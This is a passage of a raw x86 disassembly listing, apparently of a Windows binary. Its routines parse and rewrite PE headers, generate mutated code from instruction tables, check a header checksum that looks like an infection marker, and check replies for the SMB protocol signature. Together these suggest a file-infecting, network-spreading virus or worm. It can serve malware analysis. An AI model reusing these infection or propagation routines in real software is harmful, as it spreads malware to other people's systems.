		mov	[ebp+var_60C], ebx
		mov	ebx, [ebp+arg_4]
		shr	ebx, 2
		shl	ebx, 2
		cmp	ebx, [ebp+arg_4]
		jz	short loc_41046D
		add	ebx, 4
		mov	[ebp+var_4], ebx


loc_41046D:				; CODE XREF: sub_4103F0+75j
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 8
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		mov	edi, [ebp+arg_8]
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edx, eax
		sub	edx, edi
		mov	edi, eax
		mov	ecx, 14h
		sub	ecx, edx
		mov	[ebp+var_614], ecx
		lea	esi, aA		; "€"
		mov	eax, [ebp+arg_10]
		mov	[esi+3], al
		mov	eax, [ebp+arg_C]
		mov	[esi+4], eax
		push	8
		push	offset aA	; "€"
		push	edi
		call	sub_40F5BF
		add	edi, 8
		mov	esi, [ebp+arg_0]
		jmp	loc_41068D
; ---------------------------------------------------------------------------


loc_4104E2:				; CODE XREF: sub_4103F0+29Fj
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 6
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 4
		div	ecx
		mov	eax, edx
		mov	ecx, 3
		mul	ecx
		mov	edx, [esi]
		mov	ecx, [ebp+var_610]
		mov	ecx, [ecx]
		cmp	ch, cl
		jbe	short loc_410543
		xor	edx, ecx


loc_410543:				; CODE XREF: sub_4103F0+14Fj
		lea	ecx, byte_41A4C3
		add	ecx, eax
		cmp	dh, dl
		jbe	short loc_4105A2
		lea	eax, dword_41A478
		mov	[eax+6], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+5], dl
		mov	edx, [ebp+var_610]
		mov	edx, [edx]
		cmp	dh, dl
		jbe	short loc_410590
		mov	[eax+0Ch], edx
		mov	dl, [ecx+2]
		mov	[eax+0Bh], dl
		push	10h
		push	offset dword_41A478
		push	edi
		call	sub_40F5BF
		add	edi, 10h
		jmp	short loc_4105F3
; ---------------------------------------------------------------------------


loc_410590:				; CODE XREF: sub_4103F0+183j
		push	0Ah
		push	offset dword_41A478
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah
		jmp	short loc_4105F3
; ---------------------------------------------------------------------------


loc_4105A2:				; CODE XREF: sub_4103F0+15Dj
		lea	eax, dword_41A478
		mov	[eax+6], edx
		mov	edx, [ebp+arg_10]
		mov	[eax+3], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+5], dl
		mov	edx, [ebp+var_610]
		mov	edx, [edx]
		cmp	dh, dl
		jbe	short loc_4105E3
		mov	[eax+0Ch], edx
		mov	dl, [ecx+2]
		mov	[eax+0Bh], dl
		push	10h
		push	offset dword_41A478
		push	edi
		call	sub_40F5BF
		add	edi, 10h
		jmp	short loc_4105F3
; ---------------------------------------------------------------------------


loc_4105E3:				; CODE XREF: sub_4103F0+1D6j
		push	0Ah
		push	offset dword_41A478
		push	edi
		call	sub_40F5BF
		add	edi, 0Ah


loc_4105F3:				; CODE XREF: sub_4103F0+19Ej
					; sub_4103F0+1B0j ...
		add	[ebp+var_610], 2
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		mov	ecx, 9
		xor	edx, edx
		div	ecx
		mov	[ebp+var_614], edx
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		mov	eax, [ebp+var_610]
		mov	eax, [eax]
		xor	edx, edx
		mov	ecx, 4
		div	ecx
		mov	eax, edx
		mov	ecx, 3
		mul	ecx
		lea	ecx, byte_41A4B7
		add	ecx, eax
		lea	eax, dword_41A488
		mov	edx, [ebp+arg_10]
		mov	[eax+7], dl
		mov	dl, [ecx]
		mov	[eax+1], dl
		mov	dl, [ecx+1]
		mov	[eax+2], dl
		mov	dl, [ecx+2]
		mov	[eax+5], dl
		push	8
		push	offset dword_41A488
		push	edi
		call	sub_40F5BF
		add	edi, 8
		add	esi, 4
		sub	ebx, 4
		add	[ebp+var_610], 2


loc_41068D:				; CODE XREF: sub_4103F0+EDj
		or	ebx, ebx
		jnz	loc_4104E2
		lea	eax, dword_41A490
		mov	ecx, [ebp+arg_C]
		mov	[eax+1], ecx
		push	6
		push	offset dword_41A490
		push	edi
		call	sub_40F5BF
		add	edi, 6
		push	[ebp+var_614]
		push	edi
		push	[ebp+var_60C]
		push	[ebp+var_608]
		push	[ebp+var_610]
		call	sub_410AC0
		mov	edi, eax
		lea	eax, [ebp+var_628]
		push	eax
		call	sub_410AA0
		sub	edi, [ebp+arg_8]
		mov	eax, edi
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_4103F0	endp

; ---------------------------------------------------------------------------
		db 8Dh,	0A4h, 24h
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4106F0	proc near		; CODE XREF: sub_404DC0+60p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	[ebp+var_4], edi
		add	edi, [edi+3Ch]
		lea	edi, [edi+78h]
		mov	esi, edi
		add	esi, 60h
		mov	ebx, [esi]
		push	ebx
		push	[ebp+arg_0]
		call	sub_404130
		mov	ebx, eax
		add	ebx, [ebp+arg_0]
		push	dword ptr [esi+4]
		push	0
		push	ebx
		call	sub_40F5F0
		mov	dword ptr [esi], 0
		mov	dword ptr [esi+4], 0
		add	edi, 8
		mov	eax, [edi]
		push	eax
		push	[ebp+arg_0]
		call	sub_404130
		add	[ebp+var_4], eax
		mov	ebx, eax
		push	edi
		push	ebx
		mov	[ebp+var_8], 0
		mov	edi, ebx
		add	edi, [ebp+arg_0]
		jmp	loc_4107F6
; ---------------------------------------------------------------------------


loc_410758:				; CODE XREF: sub_4106F0+10Aj
		mov	eax, [edi+0Ch]
		push	eax
		push	[ebp+arg_0]
		call	sub_404130
		add	eax, [ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_40A266
		add	ebx, eax
		cmp	[ebp+var_8], ebx
		jnb	short loc_410779
		mov	[ebp+var_8], ebx


loc_410779:				; CODE XREF: sub_4106F0+84j
		mov	esi, [edi]
		push	esi
		push	[ebp+arg_0]
		call	sub_404130
		mov	esi, eax
		add	esi, [ebp+arg_0]
		cmp	[ebp+var_8], esi
		jnb	short loc_410791
		mov	[ebp+var_8], esi


loc_410791:				; CODE XREF: sub_4106F0+9Cj
		mov	ebx, [edi+10h]
		push	ebx
		push	[ebp+arg_0]
		call	sub_404130
		mov	ebx, eax
		add	ebx, [ebp+arg_0]
		jmp	short loc_4107AB
; ---------------------------------------------------------------------------


loc_4107A4:				; CODE XREF: sub_4106F0+BEj
		xor	eax, eax
		mov	[ebx], eax
		add	ebx, 4


loc_4107AB:				; CODE XREF: sub_4106F0+B2j
		cmp	dword ptr [ebx], 0
		jnz	short loc_4107A4
		cmp	[ebp+var_8], ebx
		jnb	short loc_4107B8
		mov	[ebp+var_8], ebx


loc_4107B8:				; CODE XREF: sub_4106F0+C3j
		jmp	short loc_4107EE
; ---------------------------------------------------------------------------


loc_4107BA:				; CODE XREF: sub_4106F0+101j
		mov	eax, [esi]
		test	eax, 80000000h
		jnz	short loc_4107E7
		push	eax
		push	[ebp+arg_0]
		call	sub_404130
		add	eax, [ebp+arg_0]
		mov	ebx, eax
		add	eax, 2
		push	eax
		call	sub_40A266
		add	eax, 2
		add	ebx, eax
		cmp	[ebp+var_8], ebx
		jnb	short loc_4107E7
		mov	[ebp+var_8], ebx


loc_4107E7:				; CODE XREF: sub_4106F0+D1j
					; sub_4106F0+F2j
		xor	eax, eax
		mov	[esi], eax
		add	esi, 4


loc_4107EE:				; CODE XREF: sub_4106F0:loc_4107B8j
		cmp	dword ptr [esi], 0
		jnz	short loc_4107BA
		add	edi, 14h


loc_4107F6:				; CODE XREF: sub_4106F0+63j
		cmp	dword ptr [edi+0Ch], 0
		jnz	loc_410758
		pop	ebx
		pop	edi
		mov	eax, [edi]
		push	eax
		push	[ebp+arg_0]
		call	sub_404130
		add	eax, [ebp+arg_0]
		push	dword ptr [edi+4]
		push	0
		push	eax
		call	sub_40F5F0
		mov	dword ptr [edi], 0
		mov	dword ptr [edi+4], 0
		add	ebx, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		sub	ecx, ebx
		push	ecx
		push	0
		push	ebx
		call	sub_40F5F0
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_4106F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410840	proc near		; CODE XREF: sub_404DC0+1F2p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_0]
		pop	[ebp+var_4]
		mov	esi, [ebp+var_4]
		add	esi, [esi+3Ch]
		lea	esi, [esi+78h]
		mov	ebx, [ebp+arg_4]
		add	esi, 8
		mov	[esi], ebx
		push	ebx
		push	[ebp+var_4]
		call	sub_404130
		mov	ebx, eax
		add	ebx, [ebp+var_4]
		push	dword_41A550
		push	offset dword_41A4E0
		push	ebx
		call	sub_40F5BF
		mov	edx, [esi]
		add	[ebx], edx
		add	[ebx+4], edx
		mov	edi, ebx
		add	edi, 0Ch
		add	[edi+10h], edx
		add	[edi+0Ch], edx
		add	[edi], edx
		add	edi, 28h
		add	[edi], edx
		add	[edi+4], edx
		add	dword ptr [esi], 0Ch
		mov	dword ptr [esi+4], 28h
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_410840	endp

; ---------------------------------------------------------------------------
		dd 24648Dh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4108B0	proc near		; CODE XREF: sub_404DC0+1DAp

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		push	edi
		push	esi
		push	ebx
		pusha
		mov	edi, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	ecx, [esi+3Ch]
		add	esi, ecx
		movzx	eax, word ptr [esi+6]
		mov	[ebp+var_8], eax
		add	esi, 0F8h
		mov	ebx, [ebp+var_8]
		jmp	short loc_4108ED
; ---------------------------------------------------------------------------


loc_4108D7:				; CODE XREF: sub_4108B0+3Fj
		mov	ecx, [esi+14h]
		add	ecx, [esi+10h]
		cmp	ecx, edi
		jbe	short loc_4108E9
		sub	edi, [esi+14h]
		add	edi, [esi+0Ch]
		jmp	short loc_4108F1
; ---------------------------------------------------------------------------


loc_4108E9:				; CODE XREF: sub_4108B0+2Fj
		add	esi, 28h
		dec	ebx


loc_4108ED:				; CODE XREF: sub_4108B0+25j
		or	ebx, ebx
		jnz	short loc_4108D7


loc_4108F1:				; CODE XREF: sub_4108B0+37j
		mov	[ebp+var_4], edi
		popa
		mov	eax, [ebp+var_4]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	8
sub_4108B0	endp

; ---------------------------------------------------------------------------
		db 90h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410900	proc near		; CODE XREF: sub_40FEC0+19p

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		push	edi
		push	esi
		push	ebx
		mov	[ebp+var_8], 0FFFFFFFFh
		mov	esi, [ebp+arg_0]
		mov	eax, [esi+3Ch]
		mov	[ebp+var_C], eax
		mov	dword ptr [esi+3Ch], 0
		mov	eax, 80h
		xor	ecx, ecx
		mov	edi, eax
		jmp	short loc_410937
; ---------------------------------------------------------------------------


loc_41092B:				; CODE XREF: sub_410900+39j
		xor	edx, edx
		mov	dl, [esi+ecx]
		rol	edx, cl
		add	edi, edx
		inc	ecx
		cmp	ecx, eax


loc_410937:				; CODE XREF: sub_410900+29j
		cmp	eax, ecx
		jnz	short loc_41092B
		mov	[ebp+var_4], edi
		mov	eax, [ebp+var_C]
		mov	[esi+3Ch], eax
		cmp	edi, 884F3421h
		jnz	short loc_4109C9
		add	esi, 80h
		mov	eax, [esi+4]
		xor	eax, [esi]
		xor	eax, 0AA559966h
		cmp	eax, 0F93BF822h
		jnz	short loc_4109C9
		mov	eax, [esi+8]
		xor	eax, [esi+0Ch]
		or	eax, eax
		jnz	short loc_4109C9
		xor	ebx, ebx
		jmp	short loc_410979
; ---------------------------------------------------------------------------


loc_410971:				; CODE XREF: sub_410900+80j
		cmp	ebx, 64h
		jbe	short loc_410978
		jmp	short loc_410982
; ---------------------------------------------------------------------------


loc_410978:				; CODE XREF: sub_410900+74j
		inc	ebx


loc_410979:				; CODE XREF: sub_410900+6Fj
		cmp	dword ptr [esi+ebx*4], 68636952h
		jnz	short loc_410971


loc_410982:				; CODE XREF: sub_410900+76j
		cmp	ebx, 64h
		jnb	short loc_4109C9
		inc	ebx
		mov	edi, [esi+4]
		add	esi, 8
		mov	eax, ebx
		xor	edx, edx
		mov	ecx, 4
		mul	ecx
		sub	eax, 8
		mov	ecx, 8
		div	ecx
		mov	ebx, eax
		jmp	short loc_4109B9
; ---------------------------------------------------------------------------


loc_4109A7:				; CODE XREF: sub_410900+BBj
		mov	edx, [esi]
		xor	edx, edi
		mov	ecx, [esi+4]
		xor	ecx, edi
		rol	edx, cl
		add	[ebp+var_4], edx
		add	esi, 8
		dec	ebx


loc_4109B9:				; CODE XREF: sub_410900+A5j
		or	ebx, ebx
		jnz	short loc_4109A7
		cmp	edi, [ebp+var_4]
		jnz	short loc_4109C9
		mov	[ebp+var_8], 0


loc_4109C9:				; CODE XREF: sub_410900+4Aj
					; sub_410900+61j ...
		mov	eax, [ebp+var_8]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	4
sub_410900	endp

; ---------------------------------------------------------------------------
		db 8Dh
		dd 24A4h, 9B8D0000h, 0

; =============== S U B	R O U T	I N E =======================================



sub_4109E0	proc near		; CODE XREF: sub_40FEC0+78p
		push	esi
		push	edi
		push	ebx
		call	sub_40A1A0
		mov	ebx, eax


loc_4109EA:				; CODE XREF: sub_4109E0:loc_4109F3j
		shr	eax, 1
		jnb	short loc_4109F3
		xor	eax, 13245769h


loc_4109F3:				; CODE XREF: sub_4109E0+Cj
		loop	loc_4109EA
		xor	edx, edx
		add	ecx, ebx
		mov	eax, ecx
		mov	ecx, 34h
		div	ecx
		movzx	edx, dl
		lea	ecx, dword_41A560
		mov	eax, [ecx+edx*4]
		pop	ebx
		pop	edi
		pop	esi
		retn
sub_4109E0	endp

; ---------------------------------------------------------------------------
		dw 0A48Dh
		dd 24h,	24A48D00h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410A20	proc near		; CODE XREF: sub_4100B1+1Fp
					; sub_4100B1+2Bp ...

var_60C		= dword	ptr -60Ch
var_608		= byte ptr -608h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFF9F4h
		pusha
		lea	eax, [ebp+var_608]
		push	eax
		call	sub_405260
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		xor	ebx, ebx
		jmp	short loc_410A43
; ---------------------------------------------------------------------------


loc_410A3F:				; CODE XREF: sub_410A20+26j
		inc	ebx
		add	esi, 4


loc_410A43:				; CODE XREF: sub_410A20+1Dj
		cmp	dword ptr [esi], 0
		jnz	short loc_410A3F
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		lea	edi, [ebp+var_608]
		mov	eax, [ebp+arg_0]
		mov	esi, [eax]
		xor	ebx, ebx
		jmp	short loc_410A8A
; ---------------------------------------------------------------------------


loc_410A5D:				; CODE XREF: sub_410A20+6Dj
		mov	eax, [edi]
		mov	ecx, [ebp+var_8]
		xor	edx, edx
		div	ecx
		shl	edx, 2
		mov	eax, ebx
		shl	eax, 2
		mov	ecx, [edx+esi]
		mov	[ebp+var_60C], ecx
		mov	ecx, [eax+esi]
		mov	[edx+esi], ecx
		mov	ecx, [ebp+var_60C]
		mov	[eax+esi], ecx
		inc	edi
		dec	[ebp+var_4]


loc_410A8A:				; CODE XREF: sub_410A20+3Bj
		cmp	ebx, [ebp+var_4]
		jnz	short loc_410A5D
		popa
		leave
		retn	4
sub_410A20	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AA0	proc near		; CODE XREF: sub_4100B1+327p
					; sub_4103F0+2E8p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	edi
		mov	edi, [ebp+arg_0]
		push	dword ptr [edi]
		call	sub_40A296
		push	dword ptr [edi+8]
		call	sub_40A296
		pop	edi
		leave
		retn	4
sub_410AA0	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410AC0	proc near		; CODE XREF: sub_4100B1+B0p
					; sub_4100B1+122p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+arg_4]
		push	[ebp+arg_10]
		pop	[ebp+var_4]


loc_410AD5:				; CODE XREF: sub_410AC0+4Cj
		mov	eax, [edi]
		xor	edx, edx
		mov	ecx, [ebp+arg_8]
		div	ecx
		shl	edx, 2
		mov	ecx, [edx+esi]
		movzx	ebx, byte ptr [ecx]
		inc	ecx
		push	ebx
		push	ecx
		push	[ebp+arg_C]
		call	sub_40F5BF
		add	[ebp+arg_C], ebx
		sub	[ebp+var_4], ebx
		cmp	[ebp+var_4], 0FFFF0000h
		ja	short loc_410B07
		cmp	[ebp+var_4], 0
		jnz	short loc_410B09


loc_410B07:				; CODE XREF: sub_410AC0+3Fj
		jmp	short loc_410B0E
; ---------------------------------------------------------------------------


loc_410B09:				; CODE XREF: sub_410AC0+45j
		add	edi, 2
		jmp	short loc_410AD5
; ---------------------------------------------------------------------------


loc_410B0E:				; CODE XREF: sub_410AC0:loc_410B07j
		mov	eax, [ebp+arg_C]
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_410AC0	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 90000000h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410B20	proc near		; CODE XREF: sub_4100B1+13p
					; sub_4103F0+13p

var_408		= dword	ptr -408h
var_404		= dword	ptr -404h
var_400		= byte ptr -400h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFBF8h
		push	edi
		push	ebx
		mov	ebx, 0FFFFFFFFh
		mov	edi, [ebp+arg_0]
		push	0FA00h
		call	sub_40A290
		or	eax, eax
		jz	loc_410C1C
		mov	[edi], eax
		mov	[edi+4], eax
		push	0FA00h
		push	0
		push	dword ptr [edi]
		call	sub_40F5F0
		lea	eax, [ebp+var_400]
		push	eax
		call	sub_405260
		push	0FA00h
		call	sub_40A290
		or	eax, eax
		jz	loc_410C1C
		mov	[edi+8], eax
		mov	[edi+0Ch], eax
		push	0FA00h
		call	sub_40A290
		mov	[ebp+var_404], eax
		push	0FA00h
		call	sub_40A290
		mov	[ebp+var_408], eax
		push	0FA00h
		push	0
		push	dword ptr [edi+8]
		call	sub_40F5F0
		push	105h
		push	offset byte_41A693
		push	[ebp+var_404]
		call	sub_40F5BF
		push	90h
		push	offset dword_41A798
		push	[ebp+var_408]
		call	sub_40F5BF
		lea	edi, [ebp+var_400]
		push	1Dh
		push	[ebp+var_404]
		push	0FFFFFFFFh
		push	edi
		push	[ebp+arg_0]
		call	sub_410C30
		add	edi, 64h
		push	10h
		push	[ebp+var_408]
		push	0FFFFFFFFh
		push	edi
		push	[ebp+arg_0]
		call	sub_410C60
		push	[ebp+var_404]
		call	sub_40A296
		push	[ebp+var_408]
		call	sub_40A296
		xor	ebx, ebx


loc_410C1C:				; CODE XREF: sub_410B20+1Fj
					; sub_410B20+50j
		mov	eax, ebx
		pop	ebx
		pop	edi
		leave
		retn	4
sub_410B20	endp

; ---------------------------------------------------------------------------
		dd 24A48Dh, 5000000h, 0

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C30	proc near		; CODE XREF: sub_410B20+C9p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		xor	ebx, ebx
		mov	esi, [ebp+arg_C]
		jmp	short loc_410C54
; ---------------------------------------------------------------------------


loc_410C3D:				; CODE XREF: sub_410C30+27j
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+ebx*8]
		push	[ebp+arg_8]
		push	esi
		push	ecx
		push	[ebp+arg_0]
		call	sub_410CF0
		add	esi, 9
		inc	ebx


loc_410C54:				; CODE XREF: sub_410C30+Bj
		cmp	ebx, [ebp+arg_10]
		jnz	short loc_410C3D
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_410C30	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410C60	proc near		; CODE XREF: sub_410B20+DFp

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFFCh
		push	edi
		push	esi
		push	ebx
		push	dword_41A68F
		call	sub_40A290
		mov	[ebp+var_4], eax
		push	dword_41A68F
		push	offset dword_41A640
		push	[ebp+var_4]
		call	sub_40F5BF
		mov	esi, [ebp+arg_C]
		xor	ebx, ebx
		jmp	short loc_410CDA
; ---------------------------------------------------------------------------


loc_410C91:				; CODE XREF: sub_410C60+7Dj
		push	ebx
		xor	ebx, ebx
		jmp	short loc_410CD0
; ---------------------------------------------------------------------------


loc_410C96:				; CODE XREF: sub_410C60+73j
		mov	edx, [ebp+var_4]
		movzx	eax, byte ptr [ebx+edx]
		cmp	byte ptr [esi+8], 0
		jnz	short loc_410CA8
		add	[esi+7], al
		jmp	short loc_410CAB
; ---------------------------------------------------------------------------


loc_410CA8:				; CODE XREF: sub_410C60+41j
		add	[esi+8], al


loc_410CAB:				; CODE XREF: sub_410C60+46j
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_410CBC
		cmp	[ebp+arg_8], 0FFFFFFFFh
		jz	short loc_410CCF
		cmp	ebx, [ebp+arg_8]
		jz	short loc_410CCF


loc_410CBC:				; CODE XREF: sub_410C60+4Fj
		mov	ecx, [ebp+arg_4]
		lea	ecx, [ecx+ebx*8]
		push	[ebp+arg_8]
		push	esi
		push	ecx
		push	[ebp+arg_0]
		call	sub_410CF0


loc_410CCF:				; CODE XREF: sub_410C60+55j
					; sub_410C60+5Aj
		inc	ebx


loc_410CD0:				; CODE XREF: sub_410C60+34j
		cmp	ebx, 7
		jnz	short loc_410C96
		pop	ebx
		inc	ebx
		add	esi, 9


loc_410CDA:				; CODE XREF: sub_410C60+2Fj
		cmp	ebx, [ebp+arg_10]
		jnz	short loc_410C91
		push	[ebp+var_4]
		call	sub_40A296
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn	14h
sub_410C60	endp

; ---------------------------------------------------------------------------
		dw 0FF8Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410CF0	proc near		; CODE XREF: sub_410C30+1Bp
					; sub_410C60+6Ap

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF0h
		push	esi
		push	edi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	[ebp+var_C], ebx
		movzx	eax, byte ptr [ebx]
		mov	[ebp+var_8], eax
		movzx	eax, byte ptr [ebx+5]
		shl	eax, 2
		lea	ecx, byte_41A67F
		add	ecx, eax
		mov	ecx, [ecx]
		movzx	eax, byte ptr [ecx]
		mov	[ebp+var_10], eax
		inc	ecx
		mov	[ebp+var_4], ecx
		add	ebx, 6
		xor	edi, edi
		jmp	loc_410DAB
; ---------------------------------------------------------------------------


loc_410D2A:				; CODE XREF: sub_410CF0+BEj
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jz	short loc_410D3B
		cmp	[ebp+arg_C], 0FFFFFFFFh
		jz	short loc_410DAA
		cmp	edi, [ebp+arg_C]
		jz	short loc_410DAA


loc_410D3B:				; CODE XREF: sub_410CF0+3Ej
		mov	eax, [ebp+arg_0]
		mov	esi, [eax+0Ch]
		mov	eax, [ebp+var_8]
		mov	[esi], al
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+4]
		mov	[ecx], esi
		inc	esi
		add	dword ptr [eax+4], 4
		push	[ebp+var_8]
		push	ebx
		push	esi
		call	sub_40F5BF
		mov	ecx, [ebp+var_4]
		movzx	ecx, byte ptr [edi+ecx]
		mov	eax, [ebp+arg_8]
		movzx	eax, byte ptr [eax+1]
		add	[eax+esi], cl
		mov	eax, [ebp+arg_4]
		mov	ecx, [eax+edi*4]
		mov	eax, [eax+edi*2]
		rol	eax, cl
		mov	ecx, [ebp+arg_8]
		movzx	edx, byte ptr [ecx+4]
		movzx	ecx, byte ptr [ecx+3]
		cmp	edx, 1
		jnz	short loc_410D8E
		mov	[ecx+esi], cl
		jmp	short loc_410DA0
; ---------------------------------------------------------------------------


loc_410D8E:				; CODE XREF: sub_410CF0+97j
		cmp	edx, 4
		jnz	short loc_410DA0
		and	eax, 0FFFFh
		or	eax, offset loc_40D868
		mov	[ecx+esi], eax


loc_410DA0:				; CODE XREF: sub_410CF0+9Cj
					; sub_410CF0+A1j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+var_8]
		inc	ecx
		add	[eax+0Ch], ecx


loc_410DAA:				; CODE XREF: sub_410CF0+44j
					; sub_410CF0+49j
		inc	edi


loc_410DAB:				; CODE XREF: sub_410CF0+35j
		cmp	edi, [ebp+var_10]
		jnz	loc_410D2A
		pop	ebx
		pop	edi
		pop	esi
		leave
		retn	10h
sub_410CF0	endp

; ---------------------------------------------------------------------------
		db 5
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_410DC0	proc near		; CODE XREF: sub_409610+ABp
					; sub_410F30+FAp ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFE8h
		push	edi
		push	esi
		push	ebx
		push	[ebp+arg_0]
		pop	[ebp+var_14]
		mov	[ebp+var_18], 0FFFFFFFFh
		mov	ebx, [ebp+arg_8]
		mov	esi, [ebp+arg_4]
		mov	[ebp+var_8], 6
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		push	0
		call	sub_40A332
		or	eax, eax
		jz	loc_410F09
		cmp	eax, 0FFFFFFFFh
		jz	loc_410F09
		push	0
		push	ebx
		push	esi
		push	[ebp+var_14]
		call	sub_40A338
		cmp	eax, 0FFFFFFFFh
		jz	loc_410F05
		mov	[ebp+var_8], 6
		mov	[ebp+var_4], 0
		mov	[ebp+var_10], 1
		mov	eax, [ebp+var_14]
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_8]
		push	eax
		push	0
		push	0
		lea	eax, [ebp+var_10]
		push	eax
		push	0
		call	sub_40A332
		cmp	eax, 1
		jnz	loc_410F01
		push	[ebp+arg_10]
		push	0
		push	[ebp+arg_C]
		call	sub_40F5F0
		push	0
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+var_14]
		call	sub_40A32C
		cmp	eax, 0FFFFFFFFh
		jz	short loc_410EFD
		or	eax, eax
		jz	short loc_410EFD
		mov	esi, eax
		mov	edi, [ebp+arg_C]
		cmp	dword ptr [edi+4], 424D53FFh
		jnz	short loc_410EEF
		mov	ebx, [edi]
		push	ebx
		call	sub_40A30E
		mov	ebx, eax
		add	ebx, 4
		mov	[ebp+var_18], ebx
		sub	ebx, esi
		add	edi, esi
		jmp	short loc_410EE9
